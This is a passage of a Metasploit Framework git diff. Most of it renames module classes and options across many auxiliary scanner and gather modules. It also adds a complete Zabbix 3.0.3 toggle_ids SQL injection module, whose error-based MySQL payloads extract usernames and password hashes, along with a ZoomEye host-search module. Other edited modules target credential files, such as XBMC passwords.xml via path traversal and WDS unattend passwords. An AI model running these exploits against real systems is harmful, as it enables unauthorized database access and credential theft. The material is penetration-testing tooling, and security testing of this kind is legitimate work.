Rex::Proto::SMB::Exceptions::ErrorCode => e - print_error("#{rhost} : #{e.message}") + print_error(e.message) return end @@ -148,7 +148,7 @@ class Metasploit3 < Msf::Auxiliary share_type = share[1] if share_type == "DISK" && (share_name == "REMINST" || share_comm == "MDT Deployment Share") - vprint_good("#{ip}:#{rport} Identified deployment share #{share_name} #{share_comm}") + vprint_good("Identified deployment share #{share_name} #{share_comm}") deploy_shares << share_name end end @@ -164,12 +164,12 @@ class Metasploit3 < Msf::Auxiliary def query_share(share) share_path = "\\\\#{rhost}\\#{share}" - vprint_status("#{rhost}:#{rport} Enumerating #{share}...") + vprint_status("Enumerating #{share}...") begin simple.connect(share_path) rescue Rex::Proto::SMB::Exceptions::ErrorCode => e - print_error("#{rhost}:#{rport} Could not access share: #{share} - #{e}") + print_error("Could not access share: #{share} - #{e}") return end @@ -188,7 +188,7 @@ class Metasploit3 < Msf::Auxiliary next unless cred['password'].to_s.length > 0 report_creds(cred['domain'].to_s, cred['username'], cred['password']) - print_good("#{rhost}:#{rport} Credentials: " + + print_good("Credentials: " + "Path=#{share_path}#{file_path} " + "Username=#{cred['domain'].to_s}\\#{cred['username'].to_s} " + "Password=#{cred['password'].to_s}" @@ -238,7 +238,7 @@ class Metasploit3 < Msf::Auxiliary def loot_unattend(data) return if data.empty? path = store_loot('windows.unattend.raw', 'text/plain', rhost, data, "Windows Deployment Services") - print_status("#{rhost}:#{rport} Stored unattend.xml in #{path}") + print_status("Stored unattend.xml in #{path}") end def report_creds(domain, user, pass) diff --git a/modules/auxiliary/gather/wp_all_in_one_migration_export.rb b/modules/auxiliary/gather/wp_all_in_one_migration_export.rb index f3aed3ef04..c373f7da95 100644 --- a/modules/auxiliary/gather/wp_all_in_one_migration_export.rb +++ b/modules/auxiliary/gather/wp_all_in_one_migration_export.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HTTP::Wordpress include Msf::Auxiliary::Report diff --git a/modules/auxiliary/gather/wp_ultimate_csv_importer_user_extract.rb b/modules/auxiliary/gather/wp_ultimate_csv_importer_user_extract.rb index d302309b70..6531db1dc8 100644 --- a/modules/auxiliary/gather/wp_ultimate_csv_importer_user_extract.rb +++ b/modules/auxiliary/gather/wp_ultimate_csv_importer_user_extract.rb @@ -6,7 +6,7 @@ require 'msf/core' require 'csv' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HTTP::Wordpress include Msf::Auxiliary::Report diff --git a/modules/auxiliary/gather/wp_w3_total_cache_hash_extract.rb b/modules/auxiliary/gather/wp_w3_total_cache_hash_extract.rb index 2dcc988ec3..b5de7b700e 100644 --- a/modules/auxiliary/gather/wp_w3_total_cache_hash_extract.rb +++ b/modules/auxiliary/gather/wp_w3_total_cache_hash_extract.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HTTP::Wordpress include Msf::Auxiliary::Report include Msf::Auxiliary::Scanner diff --git a/modules/auxiliary/gather/xbmc_traversal.rb b/modules/auxiliary/gather/xbmc_traversal.rb index 20191221bd..b10ecd8589 100644 --- a/modules/auxiliary/gather/xbmc_traversal.rb +++ b/modules/auxiliary/gather/xbmc_traversal.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Report include Msf::Exploit::Remote::HttpClient @@ -38,8 +38,8 @@ class Metasploit3 < Msf::Auxiliary Opt::RPORT(8080), OptString.new('FILEPATH', [false, 'The name of the file to download', '/private/var/mobile/Library/Preferences/XBMC/userdata/passwords.xml']), OptInt.new('DEPTH', [true, 'The max traversal depth', 9]), - OptString.new('USERNAME', [true, 'The username to use for the HTTP server', 'xbmc']), - OptString.new('PASSWORD', [false, 'The password to use for the HTTP server', 'xbmc']), + OptString.new('HttpUsername', [true, 'The username to use for the HTTP server', 'xbmc']), + OptString.new('HttpPassword', [false, 'The password to use for the HTTP server', 'xbmc']), ], self.class) end @@ -56,7 +56,7 @@ class Metasploit3 < Msf::Auxiliary res = send_request_raw({ 'method' => 'GET', 'uri' => "/#{traversal}/#{datastore['FILEPATH']}", - 'authorization' => basic_auth(datastore['USERNAME'],datastore['PASSWORD']) + 'authorization' => basic_auth(datastore['HttpUsername'],datastore['HttpPassword']) }, 25) rescue Rex::ConnectionRefused print_error("#{rhost}:#{rport} Could not connect.") diff --git a/modules/auxiliary/gather/xerox_pwd_extract.rb b/modules/auxiliary/gather/xerox_pwd_extract.rb index 36920371f8..37bbb39e81 100644 --- a/modules/auxiliary/gather/xerox_pwd_extract.rb +++ b/modules/auxiliary/gather/xerox_pwd_extract.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Tcp include Msf::Auxiliary::Report diff --git a/modules/auxiliary/gather/xerox_workcentre_5xxx_ldap.rb b/modules/auxiliary/gather/xerox_workcentre_5xxx_ldap.rb index acf8953766..0dc5277b72 100644 --- a/modules/auxiliary/gather/xerox_workcentre_5xxx_ldap.rb +++ b/modules/auxiliary/gather/xerox_workcentre_5xxx_ldap.rb @@ -6,7 +6,7 @@ require 'rex/proto/http' require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Remote::TcpServer include Msf::Auxiliary::Report diff --git a/modules/auxiliary/gather/zabbix_toggleids_sqli.rb b/modules/auxiliary/gather/zabbix_toggleids_sqli.rb new file mode 100644 index 0000000000..6f28b339a0 --- /dev/null +++ b/modules/auxiliary/gather/zabbix_toggleids_sqli.rb @@ -0,0 +1,268 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class MetasploitModule < Msf::Auxiliary + + include Msf::Auxiliary::Report + include Msf::Exploit::Remote::HttpClient + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Zabbix toggle_ids SQL Injection', + 'Description' => %q{ + This module will exploit a SQL injection in Zabbix 3.0.3 and + likely prior in order to save the current usernames and + password hashes from the database to a JSON file. + }, + 'References' => + [ + ['URL', 'http://seclists.org/fulldisclosure/2016/Aug/60'] + ], + 'Author' => + [ + '1n3@hushmail.com', #discovery + 'bperry' #module + ], + 'License' => MSF_LICENSE, + 'DisclosureDate' => 'Aug 11 2016' + )) + + register_options( + [ + OptBool.new('REQUIREAUTH', [true, 'Enforce authentication', false]), + OptString.new('USERNAME', [false, 'The username to authenticate with', 'Admin']), + OptString.new('PASSWORD', [false, 'The password to authenticate with', 'zabbix']), + OptString.new('TARGETURI', [true, 'The relative URI for Zabbix', '/zabbix']) + ], self.class) + end + + def check + + sid, cookies = authenticate + + left_marker = Rex::Text.rand_text_alpha(5) + right_marker = Rex::Text.rand_text_alpha(5) + flag = Rex::Text.rand_text_alpha(5) + + query = "AND (SELECT 1256 FROM(SELECT COUNT(*),CONCAT(0x#{left_marker.unpack("H*")[0]}" + query << ",(SELECT MID((IFNULL(CAST(0x#{flag.unpack("H*")[0]} AS CHAR),0x20)),1,54)" + query << " FROM dual LIMIT 0,1),0x#{right_marker.unpack("H*")[0]},FLOOR(RAND(0)*2))x FROM" + query << ' INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)' + + res = make_injected_request(query, sid, cookies) + + unless res and res.body + return Msf::Exploit::CheckCode::Safe + end + + match = /#{left_marker}(.*)#{right_marker}/.match(res.body) + + unless match + fail_with(Failure::Unknown, 'Server did not respond in an expected way') + end + + if match[1] == flag + return Msf::Exploit::CheckCode::Vulnerable + end + + Msf::Exploit::CheckCode::Safe + end + + def run + sid, cookies = authenticate + + left_marker = Rex::Text.rand_text_alpha(5) + right_marker = Rex::Text.rand_text_alpha(5) + + query = " AND (SELECT 5361 FROM(SELECT COUNT(*),CONCAT(0x#{left_marker.unpack("H*")[0]}" + query << ",(SELECT IFNULL(CAST(COUNT(schema_name) AS CHAR),0x20) FROM" + query << " INFORMATION_SCHEMA.SCHEMATA),0x#{right_marker.unpack("H*")[0]},FLOOR(RAND(0)*2))x" + query << " FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)" + + res = make_injected_request(query, sid, cookies) + + unless res and res.body + fail_with(Failure::Unknown, 'Server did not respond in an expected way') + end + + match = /#{left_marker}(.*)#{right_marker}/.match(res.body) + + unless match + fail_with(Failure::Unknown, 'Server did not respond in an expected way') + end + + count = match[1].to_i + + dbs = [] + 0.upto(count-1) do |cur| + + get_dbs = " AND (SELECT 5184 FROM(SELECT COUNT(*),CONCAT(0x#{left_marker.unpack("H*")[0]}" + get_dbs << ",(SELECT MID((IFNULL(CAST(schema_name AS CHAR),0x20)),1,54)" + get_dbs << " FROM INFORMATION_SCHEMA.SCHEMATA LIMIT #{cur},1),0x#{right_marker.unpack("H*")[0]}," + get_dbs << "FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)" + + res = make_injected_request(get_dbs, sid, cookies) + + unless res and res.body + fail_with(Failure::Unknown, 'Server did not respond in an expected way') + end + + match = /#{left_marker}(.*)#{right_marker}/.match(res.body) + + unless match + fail_with(Failure::Unknown, 'Server did not respond in an expected way') + end + + dbs << match[1] + end + + dbs.delete("mysql") + dbs.delete("performance_schema") + dbs.delete("information_schema") + + users = [] + dbs.each do |db| + cols = ["alias", "passwd"] + + user_count = " AND (SELECT 6262 FROM(SELECT COUNT(*),CONCAT(0x#{left_marker.unpack("H*")[0]}" + user_count << ",(SELECT IFNULL(CAST(COUNT(*) AS CHAR),0x20) FROM" + user_count << " #{db}.users),0x#{right_marker.unpack("H*")[0]},FLOOR(RAND(0)*2))x FROM" + user_count << " INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)" + + res = make_injected_request(user_count, sid, cookies) + + unless res and res.body + fail_with(Failure::Unknown, 'Server did not respond in an expected way') + end + + match = /#{left_marker}(.*)#{right_marker}/.match(res.body) + + unless match + fail_with(Failure::Unknown, 'Server did not respond in an expected way') + end + + count = match[1].to_i + + 0.upto(count-1) do |cur| + user = {} + cols.each do |col| + get_col = " AND (SELECT 6334 FROM(SELECT COUNT(*),CONCAT(0x#{left_marker.unpack("H*")[0]}" + get_col << ",(SELECT MID((IFNULL(CAST(#{col} AS CHAR),0x20)),1,54)" + get_col << " FROM #{db}.users ORDER BY alias LIMIT #{cur},1),0x#{right_marker.unpack("H*")[0]}" + get_col << ',FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)' + + res = make_injected_request(get_col, sid, cookies) + + unless res and res.body + fail_with(Failure::Unknown, 'Server did not respond in an expected way') + end + + match = /#{left_marker}(.*)#{right_marker}/.match(res.body) + + unless match + fail_with(Failure::Unknown, 'Server did not respond in an expected way') + end + + user[col] = match[1] + end + users << user + end + end + + loot = store_loot("zabbixusers.json","text/plain", rhost, users.to_json) + + print_good('Users and password hashes stored at ' + loot) + + end + + def authenticate + res = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path, 'index.php') + }) + + unless res and res.body + fail_with(Failure::Unknown, 'Server did not respond in an expected way') + end + + cookies = res.get_cookies + + match = /name="sid" value="(.*?)">/.match(res.body) + + unless match + fail_with(Failure::Unknown, 'Server did not respond in an expected way') + end + + sid = match[1] + + if datastore['REQUIREAUTH'] + + res = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path, 'index.php'), + 'method' => 'POST', + 'vars_post' => { + 'sid' => sid, + 'form_refresh' => 1, + 'name' => datastore['USERNAME'], + 'password' => datastore['PASSWORD'], + 'autologin' => 1, + 'enter' => 'Sign in' + }, + 'cookie' => cookies + }) + + unless res + fail_with(Failure::Unknown, 'Server did not respond in an expected way') + end + + if res.code == 302 + cookies = res.get_cookies + + res = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path, 'latest.php'), + 'vars_get' => { + 'ddreset' => '1' + }, + 'cookies' => cookies + }) + + unless res and res.body + fail_with(Failure::Unknown, 'Server did not respond in an expected way') + end + + cookies = res.get_cookies + match = /name="sid" value="(.*?)">/.match(res.body) + + unless match + fail_with(Failure::Unknown, 'Server did not respond in an expected way') + end + + sid = match[1] + elsif + fail_with(Failure::Unknown, 'Server did not respond in an expected way') + end + end + + return sid, cookies + end + + def make_injected_request(sql, sid, cookies) + send_request_cgi({ + 'uri' => normalize_uri(target_uri.path, 'latest.php'), + 'method' => 'POST', + 'vars_get' => { + 'output' => 'ajax', + 'sid' => sid + }, + 'vars_post' => { + 'favobj' => 'toggle', + 'toggle_ids[]' => '348 ' + sql, + 'toggle_open_state' => 0 + }, + 'cookie' => cookies + }) + end +end diff --git a/modules/auxiliary/gather/zoomeye_search.rb b/modules/auxiliary/gather/zoomeye_search.rb new file mode 100644 index 0000000000..19a9f42201 --- /dev/null +++ b/modules/auxiliary/gather/zoomeye_search.rb @@ -0,0 +1,185 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + + +require 'msf/core' +require 'rex/proto/http' + +class MetasploitModule < Msf::Auxiliary + + include Msf::Auxiliary::Report + + + def initialize(info={}) + super(update_info(info, + 'Name' => 'ZoomEye Search', + 'Description' => %q{ + The module use the ZoomEye API to search ZoomEye. ZoomEye is a search + engine for cyberspace that lets the user find specific network + components(ip, services, etc.). + }, + 'Author' => [ 'Nixawk' ], + 'References' => [ + ['URL', 'https://github.com/zoomeye/SDK'], + ['URL', 'https://www.zoomeye.org/api/doc'], + ['URL', 'https://www.zoomeye.org/help/manual'] + ], + 'License' => MSF_LICENSE + )) + + deregister_options('RHOST', 'DOMAIN', 'DigestAuthIIS', 'NTLM::SendLM', + 'NTLM::SendNTLM', 'VHOST', 'RPORT', 'NTLM::SendSPN', 'NTLM::UseLMKey', + 'NTLM::UseNTLM2_session', 'NTLM::UseNTLMv2', 'SSL') + + register_options( + [ + OptString.new('USERNAME', [true, 'The ZoomEye username']), + OptString.new('PASSWORD', [true, 'The ZoomEye password']), + OptString.new('ZOOMEYE_DORK', [true, 'The ZoomEye Dock']), + OptEnum.new('RESOURCE', [true, 'ZoomEye Resource Type', 'host', ['host', 'web']]), + OptInt.new('MAXPAGE', [true, 'Max amount of pages to collect', 1]) + ], self.class) + end + + # Check to see if api.zoomeye.org resolves properly + def zoomeye_resolvable? + begin + Rex::Socket.resolv_to_dotted("api.zoomeye.org") + rescue RuntimeError, SocketError + return false + end + + true + end + + def login(username, password) + # See more: https://www.zoomeye.org/api/doc#login + + access_token = '' + @cli = Rex::Proto::Http::Client.new('api.zoomeye.org', 443, {}, true) + @cli.connect + + data = {'username' => username, 'password' => password} + req = @cli.request_cgi({ + 'uri' => '/user/login', + 'method' => 'POST', + 'data' => data.to_json + }) + + res = @cli.send_recv(req) + + unless res + print_error('server_response_error') + return + end + + records = ActiveSupport::JSON.decode(res.body) + access_token = records['access_token'] if records && records.key?('access_token') + access_token + end + + def dork_search(dork, resource, page) + # param: dork + # ex: country:cn + # access https://www.zoomeye.org/search/dorks for more details. + # param: page + # total page(s) number + # param: resource + # set a search resource type, ex: [web, host] + # param: facet + # ex: [app, device] + # A comma-separated list of properties to get summary information + + begin + req = @cli.request_cgi({ + 'uri' => "/#{resource}/search", + 'method' => 'GET', + 'headers' => { 'Authorization' => "JWT #{@zoomeye_token}" }, + 'vars_get' => { + 'query' => dork, + 'page' => page, + 'facet' => 'ip' + } + }) + + res = @cli.send_recv(req) + + rescue ::Rex::ConnectionError, Errno::ECONNREFUSED, Errno::ETIMEDOUT + print_error("HTTP Connection Failed") + end + + unless res + print_error('server_response_error') + return + end + + # Invalid Token, Not enough segments + # Invalid Token, Signature has expired + if res.body =~ /Invalid Token, / + fail_with(Failure::BadConfig, '401 Unauthorized. Your ZOOMEYE_APIKEY is invalid') + end + + ActiveSupport::JSON.decode(res.body) + end + + def match_records?(records) + records && records.key?('matches') + end + + def parse_host_records(records) + records.each do |match| + host = match['ip'] + port = match['portinfo']['port'] + + report_service(:host => host, :port => port) + print_good("Host: #{host} ,PORT: #{port}") + end + end + + def parse_web_records(records) + records.each do |match| + host = match['ip'][0] + domains = match['domains'] + + report_host(:host => host) + print_good("Host: #{host}, Domains: #{domains}") + end + end + + def run + # check to ensure api.zoomeye.org is resolvable + unless zoomeye_resolvable? + print_error("Unable to resolve api.zoomeye.org") + return + end + + @zoomeye_token = login(datastore['USERNAME'], datastore['PASSWORD']) + if @zoomeye_token.blank? + print_error("Unable to login api.zoomeye.org") + return + end + + # create ZoomEye request parameters + dork = datastore['ZOOMEYE_DORK'] + resource = datastore['RESOURCE'] + page = 1 + maxpage = datastore['MAXPAGE'] + + # scroll max pages from ZoomEye + while page <= maxpage + print_status("ZoomEye #{resource} Search: #{dork} - page: #{page}") + results = dork_search(dork, resource, page) if dork + break unless match_records?(results) + + matches = results['matches'] + if resource.include?('web') + parse_web_records(matches) + else + parse_host_records(matches) + end + page += 1 + end + end +end diff --git a/modules/auxiliary/parser/unattend.rb b/modules/auxiliary/parser/unattend.rb index 7ad4e310cd..b799364b31 100644 --- a/modules/auxiliary/parser/unattend.rb +++ b/modules/auxiliary/parser/unattend.rb @@ -6,7 +6,7 @@ require 'msf/core' require 'rex/parser/unattend' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary def initialize(info={}) super( update_info( info, diff --git a/modules/auxiliary/pdf/foxit/authbypass.rb b/modules/auxiliary/pdf/foxit/authbypass.rb index 438a3ecaee..bcf0040fa6 100644 --- a/modules/auxiliary/pdf/foxit/authbypass.rb +++ b/modules/auxiliary/pdf/foxit/authbypass.rb @@ -6,7 +6,7 @@ require 'msf/core' require 'zlib' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::FILEFORMAT diff --git a/modules/auxiliary/scanner/acpp/login.rb b/modules/auxiliary/scanner/acpp/login.rb index 10047d1b06..ea91ad047d 100644 --- a/modules/auxiliary/scanner/acpp/login.rb +++ b/modules/auxiliary/scanner/acpp/login.rb @@ -8,7 +8,7 @@ require 'rex/proto/acpp' require 'metasploit/framework/credential_collection' require 'metasploit/framework/login_scanner/acpp' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Tcp include Msf::Auxiliary::Scanner include Msf::Auxiliary::Report diff --git a/modules/auxiliary/scanner/afp/afp_login.rb b/modules/auxiliary/scanner/afp/afp_login.rb index 74aa22c26a..79ff59603a 100644 --- a/modules/auxiliary/scanner/afp/afp_login.rb +++ b/modules/auxiliary/scanner/afp/afp_login.rb @@ -8,7 +8,7 @@ require 'openssl' require 'metasploit/framework/credential_collection' require 'metasploit/framework/login_scanner/afp' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Report include Msf::Auxiliary::Scanner diff --git a/modules/auxiliary/scanner/afp/afp_server_info.rb b/modules/auxiliary/scanner/afp/afp_server_info.rb index 5a7c4edc0c..b8de8c4b40 100644 --- a/modules/auxiliary/scanner/afp/afp_server_info.rb +++ b/modules/auxiliary/scanner/afp/afp_server_info.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Report include Msf::Auxiliary::Scanner diff --git a/modules/auxiliary/scanner/backdoor/energizer_duo_detect.rb b/modules/auxiliary/scanner/backdoor/energizer_duo_detect.rb index d48bc8a561..c2925cb87d 100644 --- a/modules/auxiliary/scanner/backdoor/energizer_duo_detect.rb +++ b/modules/auxiliary/scanner/backdoor/energizer_duo_detect.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Tcp include Msf::Auxiliary::Scanner diff --git a/modules/auxiliary/scanner/chargen/chargen_probe.rb b/modules/auxiliary/scanner/chargen/chargen_probe.rb index fe43a0e3e5..3dc4381ead 100644 --- a/modules/auxiliary/scanner/chargen/chargen_probe.rb +++ b/modules/auxiliary/scanner/chargen/chargen_probe.rb @@ -6,7 +6,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Scanner include Msf::Exploit::Capture diff --git a/modules/auxiliary/scanner/couchdb/couchdb_enum.rb b/modules/auxiliary/scanner/couchdb/couchdb_enum.rb index d7242a5e71..a554debb74 100644 --- a/modules/auxiliary/scanner/couchdb/couchdb_enum.rb +++ b/modules/auxiliary/scanner/couchdb/couchdb_enum.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Report @@ -29,14 +29,14 @@ class Metasploit3 < Msf::Auxiliary [ Opt::RPORT(5984), OptString.new('TARGETURI', [true, 'Path to list all the databases', '/_all_dbs']), - OptString.new('USERNAME', [false, 'The username to login as']), - OptString.new('PASSWORD', [false, 'The password to login with']) + OptString.new('HttpUsername', [false, 'The username to login as']), + OptString.new('HttpPassword', [false, 'The password to login with']) ], self.class) end def run - username = datastore['USERNAME'] - password = datastore['PASSWORD'] + username = datastore['HttpUsername'] + password = datastore['HttpPassword'] begin res = send_request_cgi( diff --git a/modules/auxiliary/scanner/couchdb/couchdb_login.rb b/modules/auxiliary/scanner/couchdb/couchdb_login.rb index 5782874ac1..883ec782e8 100644 --- a/modules/auxiliary/scanner/couchdb/couchdb_login.rb +++ b/modules/auxiliary/scanner/couchdb/couchdb_login.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Report @@ -38,12 +38,14 @@ class Metasploit3 < Msf::Auxiliary File.join(Msf::Config.data_directory, "wordlists", "http_default_pass.txt") ]), OptBool.new('USER_AS_PASS', [ false, "Try the username as the password for all users", false]), ], self.class) + + deregister_options('HttpUsername', 'HttpPassword') end def run_host(ip) - user = datastore['USERNAME'].to_s - pass = datastore['PASSWORD'].to_s + user = datastore['HttpUsername'].to_s + pass = datastore['HttpPassword'].to_s if user.nil? || user.strip == '' each_user_pass do |user, pass| diff --git a/modules/auxiliary/scanner/db2/db2_auth.rb b/modules/auxiliary/scanner/db2/db2_auth.rb index b5afbe1bab..01a50ca23e 100644 --- a/modules/auxiliary/scanner/db2/db2_auth.rb +++ b/modules/auxiliary/scanner/db2/db2_auth.rb @@ -8,7 +8,7 @@ require 'msf/core' require 'metasploit/framework/credential_collection' require 'metasploit/framework/login_scanner/db2' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::DB2 include Msf::Auxiliary::AuthBrute diff --git a/modules/auxiliary/scanner/db2/db2_version.rb b/modules/auxiliary/scanner/db2/db2_version.rb index 3feac07d07..3344d38509 100644 --- a/modules/auxiliary/scanner/db2/db2_version.rb +++ b/modules/auxiliary/scanner/db2/db2_version.rb @@ -7,7 +7,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::DB2 include Msf::Auxiliary::Scanner diff --git a/modules/auxiliary/scanner/db2/discovery.rb b/modules/auxiliary/scanner/db2/discovery.rb index 3b6aea526d..01dee58103 100644 --- a/modules/auxiliary/scanner/db2/discovery.rb +++ b/modules/auxiliary/scanner/db2/discovery.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Report include Msf::Auxiliary::Scanner diff --git a/modules/auxiliary/scanner/dcerpc/endpoint_mapper.rb b/modules/auxiliary/scanner/dcerpc/endpoint_mapper.rb index f99da3d29f..f451ba0dbc 100644 --- a/modules/auxiliary/scanner/dcerpc/endpoint_mapper.rb +++ b/modules/auxiliary/scanner/dcerpc/endpoint_mapper.rb @@ -7,7 +7,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary # Exploit mixins should be called first include Msf::Exploit::Remote::DCERPC diff --git a/modules/auxiliary/scanner/dcerpc/hidden.rb b/modules/auxiliary/scanner/dcerpc/hidden.rb index 79c2b359f7..379d331e20 100644 --- a/modules/auxiliary/scanner/dcerpc/hidden.rb +++ b/modules/auxiliary/scanner/dcerpc/hidden.rb @@ -7,7 +7,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary # Exploit mixins should be called first include Msf::Exploit::Remote::DCERPC diff --git a/modules/auxiliary/scanner/dcerpc/management.rb b/modules/auxiliary/scanner/dcerpc/management.rb index 753450426a..fc84d4d9b8 100644 --- a/modules/auxiliary/scanner/dcerpc/management.rb +++ b/modules/auxiliary/scanner/dcerpc/management.rb @@ -7,7 +7,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary # Exploit mixins should be called first include Msf::Exploit::Remote::DCERPC diff --git a/modules/auxiliary/scanner/dcerpc/tcp_dcerpc_auditor.rb b/modules/auxiliary/scanner/dcerpc/tcp_dcerpc_auditor.rb index 2641054b1f..38e1786a8a 100644 --- a/modules/auxiliary/scanner/dcerpc/tcp_dcerpc_auditor.rb +++ b/modules/auxiliary/scanner/dcerpc/tcp_dcerpc_auditor.rb @@ -7,7 +7,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary # Exploit mixins should be called first include Msf::Exploit::Remote::DCERPC diff --git a/modules/auxiliary/scanner/dcerpc/windows_deployment_services.rb b/modules/auxiliary/scanner/dcerpc/windows_deployment_services.rb index d8f2d437cb..5c0dcdca53 100644 --- a/modules/auxiliary/scanner/dcerpc/windows_deployment_services.rb +++ b/modules/auxiliary/scanner/dcerpc/windows_deployment_services.rb @@ -8,7 +8,7 @@ require 'rex/proto/dcerpc' require 'rex/proto/dcerpc/wdscp' require 'rex/parser/unattend' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::DCERPC include Msf::Auxiliary::Report @@ -91,7 +91,7 @@ class Metasploit3 < Msf::Auxiliary :info => "#{WDS_CONST::WDSCP_RPC_UUID} v1.0 Windows Deployment Services" ) - table = Rex::Ui::Text::Table.new({ + table = Rex::Text::Table.new({ 'Header' => 'Windows Deployment Services', 'Indent' => 1, 'Columns' => ['Architecture', 'Type', 'Domain', 'Username', 'Password'] diff --git a/modules/auxiliary/scanner/dect/call_scanner.rb b/modules/auxiliary/scanner/dect/call_scanner.rb index 12c88f72f6..b47d050977 100644 --- a/modules/auxiliary/scanner/dect/call_scanner.rb +++ b/modules/auxiliary/scanner/dect/call_scanner.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::DECT_COA diff --git a/modules/auxiliary/scanner/dect/station_scanner.rb b/modules/auxiliary/scanner/dect/station_scanner.rb index cd1bf10cc4..532833e54d 100644 --- a/modules/auxiliary/scanner/dect/station_scanner.rb +++ b/modules/auxiliary/scanner/dect/station_scanner.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::DECT_COA diff --git a/modules/auxiliary/scanner/discovery/arp_sweep.rb b/modules/auxiliary/scanner/discovery/arp_sweep.rb index 50df7747c8..1f981c1dce 100644 --- a/modules/auxiliary/scanner/discovery/arp_sweep.rb +++ b/modules/auxiliary/scanner/discovery/arp_sweep.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Capture include Msf::Auxiliary::Report diff --git a/modules/auxiliary/scanner/discovery/empty_udp.rb b/modules/auxiliary/scanner/discovery/empty_udp.rb index d64ec3ebd8..378d9e69f7 100644 --- a/modules/auxiliary/scanner/discovery/empty_udp.rb +++ b/modules/auxiliary/scanner/discovery/empty_udp.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Report include Msf::Auxiliary::UDPScanner diff --git a/modules/auxiliary/scanner/discovery/ipv6_multicast_ping.rb b/modules/auxiliary/scanner/discovery/ipv6_multicast_ping.rb index 4795a21ae8..52d730b0c1 100644 --- a/modules/auxiliary/scanner/discovery/ipv6_multicast_ping.rb +++ b/modules/auxiliary/scanner/discovery/ipv6_multicast_ping.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Capture include Msf::Exploit::Remote::Ipv6 diff --git a/modules/auxiliary/scanner/discovery/ipv6_neighbor.rb b/modules/auxiliary/scanner/discovery/ipv6_neighbor.rb index c60d28db3a..48fadda6c6 100644 --- a/modules/auxiliary/scanner/discovery/ipv6_neighbor.rb +++ b/modules/auxiliary/scanner/discovery/ipv6_neighbor.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Ipv6 include Msf::Exploit::Remote::Capture diff --git a/modules/auxiliary/scanner/discovery/ipv6_neighbor_router_advertisement.rb 